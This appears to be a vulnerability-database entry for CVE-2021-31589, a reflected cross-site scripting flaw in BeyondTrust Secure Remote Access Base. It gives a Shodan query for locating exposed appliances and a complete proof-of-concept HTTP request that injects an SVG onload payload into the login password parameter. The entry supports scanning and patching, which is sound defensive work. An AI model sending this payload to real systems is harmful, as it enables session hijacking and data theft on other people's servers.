| Title | BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting |
|---|---|
| Author | Ahmed Abou-Ela |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement. |
| Remediation | Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.27167 |
| CVE ID | CVE-2021-31589 |
| CWE ID | CWE-79 |
| Shodan Query | set-cookie: nsbase_session |
| Tags | cve cve2021 xss packetstorm beyondtrust bomgar vkev vuln |
BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
GET /appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31589.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31589.pcap
N/AN/A